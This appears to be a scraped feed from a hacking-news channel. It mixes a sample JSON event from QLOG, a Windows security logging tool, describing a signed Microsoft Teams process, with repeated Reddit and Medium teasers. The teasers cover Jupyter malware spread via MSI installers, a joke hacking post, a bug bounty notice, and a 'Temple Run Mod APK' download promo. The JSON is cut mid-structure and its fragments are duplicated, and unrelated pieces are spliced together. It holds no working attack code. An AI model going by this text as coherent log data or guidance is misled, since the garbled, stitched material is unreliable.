“Imagefilename”: “TEAMS.EXE”,
“KernelImagefilename”: “TEAMS.EXE”,
“OriginalFilename”: “TEAMS.EXE”,
“Fullpath”: “C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe”,
“PID”: 21740,
“Commandline”: “\”C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe\” –type=renderer –autoplay-policy=no-user-gesture-required –disable-background-timer-throttling –field-trial-handle=1668,499009601563875864,12511830007210419647,131072 –enable-features=WebComponentsV0Enabled –disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess –lang=de –enable-wer –ms-teams-less-cors=522133263 –app-user-model-id=com.squirrel.Teams.Teams –app-path=\”C:\Users\jocke”,
“Modulecount”: 41,
“TTPHash”: “42AC63285408F5FD91668B16F8E9157FD97046AB63E84117A14E31A188DDC62F”,
“Imphash”: “F14F00FA1D4C82B933279C1A28957252”,
“sha256”: “155625190ECAA90E596CB258A07382184DB738F6EDB626FEE4B9652FA4EC1CC2”,
“md5”: “9453BC2A9CC489505320312F4E6EC21E”,
“sha1”: “7219CB54AC535BA55BC1B202335A6291FDC2D76E”,
“ProcessIntegrityLevel”: “None”,
“isOndisk”: true,
“isRunning”: true,
“Signed”: “Signature valid”,
“AuthenticodeHash”: “B8AD58EE5C35B3F80C026A318EEA34BABF6609C077CB3D45AEE69BF5C9CF8E11”,
“Signatures”: [
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:24:20”,
“NotAfter”: “02.12.2021 22:24:20”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8C15B4C98AD91E051EE5AF5F524A8729050B2A2”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:3BBD-E338-E9A1, OU=Microsoft America Operations, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”[...]
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Kali Linux Tutorials
QLOG : Windows Security Logging !!! Kali Linux Tutorials
QLOG provides enriched Event Logging for security related events on Windows based systems. It is under heavy development.
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials QLOG : Windows Security Logging QLOG provides enriched Event Logging for security related events on Windows based systems. It is under heavy development and currently in alpha state. QLOG doesn’t use API hooks and it doesn’t require a…
,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “12.11.2020 19:26:02”,
“NotAfter”: “11.02.2022 19:26:02”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8220CE2AAD2073A9C8CD78752775E29782AABE8”,
“Timestamp”: “15.06.2021 00:39:50 +02:00”
}
]
},
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:31:47”,
“NotAfter”: “02.12.2021 22:31:47”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “C774204049D25D30AF9AC2F116B3C1FB88EE00A4”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:F87A-E374-D7B9, OU=Microsoft Operations Puerto Rico, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “14.01.2021 20:02:23”,
“NotAfter”: “11.04.2022 21:02:23”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “ED2C601EDD49DD2A934D2AB32DCACC19940161EF”,
“Timestamp”: “15.06.2021 00:39:53 +02:00”
}
]
}
],
“ParentProcess”: {
“EventGuid”: null,
“StartTime”: “2021-07-11T09:54:28.9558001+02:00”,
“QEventID”: 100,
“QType”: “Process Create”,
“Username”: “TEST-OS\TESTUSER”,
“Imagefilename”: “”,
“KernelImagefilename”: “”,
“OriginalFilename”: “TEAMS.EXE”,
“Fullpath”: “C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe”,
“PID”: 16232,
“Commandline”: “C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe “,
“Modulecount”: 162,
“TTPHash”: “”,
“Imphash”: “F14F00FA1D4C82B933279C1A28957252”,
“sha256”: “155625190ECAA90E596CB258A07382184DB738F6EDB626FEE4B9652FA4EC1CC2”,
“md5”: “9453BC2A9CC489505320312F4E6EC21E”,
“sha1”: “7219CB54AC535BA55BC1B202335A6291FDC2D76E”,
“ProcessIntegrityLevel”: “Medium”,
“isOndisk”: true,
“isRunning”: true,
“Signed”: “Signature valid”,
“AuthenticodeHash”: “B8AD58EE5C35B3F80C026A318EEA34BABF6609C077CB3D45AEE69BF5C9CF8E11”,
“Signatures”: [
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:24:20”,
“NotAfter”: “02.12.2021 22:24:20”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8C15B4C98AD91E051EE5AF5F524A8729050B2A2”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:3BBD-E338-E9A1, OU=Microsoft America Operations, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “12.11.2020 19:26:02”,
“NotAfter”: “11.02.2022 19:26:02”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8220CE2AAD2073A9C8CD78752775E29782AABE8”,
“Timestamp”: “15.06.2021 00:39:50 +02:00”
}
]
},
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:31:47”,
“NotAfter”: “02.12.2021 22:31:47”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “C774204049D25D30AF9AC2F116B3C1FB88EE00A4”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:F87A-E374-D7B9, OU=Microsoft Operations Puerto Rico, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “14.01.2021 20:02:23”,
“NotAfter”: “11.04.2022 21:02:23”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “ED2C601EDD49DD2A934D2AB32DCACC19940161EF”,
“Timestamp”: “15.06.2021 00:39:53 +02:00”
}
]
}
],
“ParentProcess”: null
}
} Download
___________________________
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@Hacking_Video
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “12.11.2020 19:26:02”,
“NotAfter”: “11.02.2022 19:26:02”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8220CE2AAD2073A9C8CD78752775E29782AABE8”,
“Timestamp”: “15.06.2021 00:39:50 +02:00”
}
]
},
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:31:47”,
“NotAfter”: “02.12.2021 22:31:47”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “C774204049D25D30AF9AC2F116B3C1FB88EE00A4”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:F87A-E374-D7B9, OU=Microsoft Operations Puerto Rico, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “14.01.2021 20:02:23”,
“NotAfter”: “11.04.2022 21:02:23”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “ED2C601EDD49DD2A934D2AB32DCACC19940161EF”,
“Timestamp”: “15.06.2021 00:39:53 +02:00”
}
]
}
],
“ParentProcess”: {
“EventGuid”: null,
“StartTime”: “2021-07-11T09:54:28.9558001+02:00”,
“QEventID”: 100,
“QType”: “Process Create”,
“Username”: “TEST-OS\TESTUSER”,
“Imagefilename”: “”,
“KernelImagefilename”: “”,
“OriginalFilename”: “TEAMS.EXE”,
“Fullpath”: “C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe”,
“PID”: 16232,
“Commandline”: “C:\Users\TESTUSER\AppData\Local\Microsoft\Teams\current\Teams.exe “,
“Modulecount”: 162,
“TTPHash”: “”,
“Imphash”: “F14F00FA1D4C82B933279C1A28957252”,
“sha256”: “155625190ECAA90E596CB258A07382184DB738F6EDB626FEE4B9652FA4EC1CC2”,
“md5”: “9453BC2A9CC489505320312F4E6EC21E”,
“sha1”: “7219CB54AC535BA55BC1B202335A6291FDC2D76E”,
“ProcessIntegrityLevel”: “Medium”,
“isOndisk”: true,
“isRunning”: true,
“Signed”: “Signature valid”,
“AuthenticodeHash”: “B8AD58EE5C35B3F80C026A318EEA34BABF6609C077CB3D45AEE69BF5C9CF8E11”,
“Signatures”: [
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:24:20”,
“NotAfter”: “02.12.2021 22:24:20”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8C15B4C98AD91E051EE5AF5F524A8729050B2A2”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:3BBD-E338-E9A1, OU=Microsoft America Operations, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “12.11.2020 19:26:02”,
“NotAfter”: “11.02.2022 19:26:02”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “E8220CE2AAD2073A9C8CD78752775E29782AABE8”,
“Timestamp”: “15.06.2021 00:39:50 +02:00”
}
]
},
{
“Subject”: “CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Code Signing PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “15.12.2020 22:31:47”,
“NotAfter”: “02.12.2021 22:31:47”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “C774204049D25D30AF9AC2F116B3C1FB88EE00A4”,
“TimestampSignatures”: [
{
“Subject”: “CN=Microsoft Time-Stamp Service, OU=Thales TSS ESN:F87A-E374-D7B9, OU=Microsoft Operations Puerto Rico, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“Issuer”: “CN=Microsoft Time-Stamp PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US”,
“NotBefore”: “14.01.2021 20:02:23”,
“NotAfter”: “11.04.2022 21:02:23”,
“DigestAlgorithmName”: “SHA256”,
“Thumbprint”: “ED2C601EDD49DD2A934D2AB32DCACC19940161EF”,
“Timestamp”: “15.06.2021 00:39:53 +02:00”
}
]
}
],
“ParentProcess”: null
}
} Download
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
A New Jupyter Malware Version is Being Distributed via MSI Installers
https://external-preview.redd.it/67_KtySxwqeJpbn4GRjqg_2gWb5FbtlsOPwM10KRb90.jpg?width=640&crop=smart&auto=webp&s=78ecae314486e5a43bf1de9e4e9346e2b662fe03 submitted by /u/CodePerfect
[link] [comments]
___________________________
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@Hacking_Video
A New Jupyter Malware Version is Being Distributed via MSI Installers
https://external-preview.redd.it/67_KtySxwqeJpbn4GRjqg_2gWb5FbtlsOPwM10KRb90.jpg?width=640&crop=smart&auto=webp&s=78ecae314486e5a43bf1de9e4e9346e2b662fe03 submitted by /u/CodePerfect
[link] [comments]
___________________________
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@Hacking_Video
reddit
A New Jupyter Malware Version is Being Distributed via MSI Installers
Posted in r/hacking by u/CodePerfect • 1 point and 0 comments
hacking: security in practice
better pull the cord
cuz i am hacking your pc right now
submitted by /u/uniqueusername25621
[link] [comments]
___________________________
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@Hacking_Video
better pull the cord
cuz i am hacking your pc right now
submitted by /u/uniqueusername25621
[link] [comments]
___________________________
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reddit
better pull the cord
cuz i am hacking your pc right now
Bug Bounty Programme Reward Distribution
We are absolutely thrilled with the overwhelming response we have received for our ongoing bug bounty programme, and we are incredibly…Continue reading on Uno Re »
Read more...
We are absolutely thrilled with the overwhelming response we have received for our ongoing bug bounty programme, and we are incredibly…Continue reading on Uno Re »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
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Hacking on Medium
Most common mistakes done by beginner Hacker’s
This post is everyone out there who actually want to become a true hacker.
Continue reading on Medium »
Most common mistakes done by beginner Hacker’s
This post is everyone out there who actually want to become a true hacker.
Continue reading on Medium »
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Temple Run Mod Apk | Download Unlimited
https://cdn-images-1.medium.com/max/1920/1*AfGNwljkV9SWI2rPVFRfqg.png
- Title: TEMPLE RUN MOD APK
- Publisher: #APKMODYS
- Version: Latest
- Format: APK FILE
- Category: #Game #Arcade
- MOD Info:
1. Unlimited…
Continue reading on Medium »
Temple Run Mod Apk | Download Unlimited
https://cdn-images-1.medium.com/max/1920/1*AfGNwljkV9SWI2rPVFRfqg.png
- Title: TEMPLE RUN MOD APK
- Publisher: #APKMODYS
- Version: Latest
- Format: APK FILE
- Category: #Game #Arcade
- MOD Info:
1. Unlimited…
Continue reading on Medium »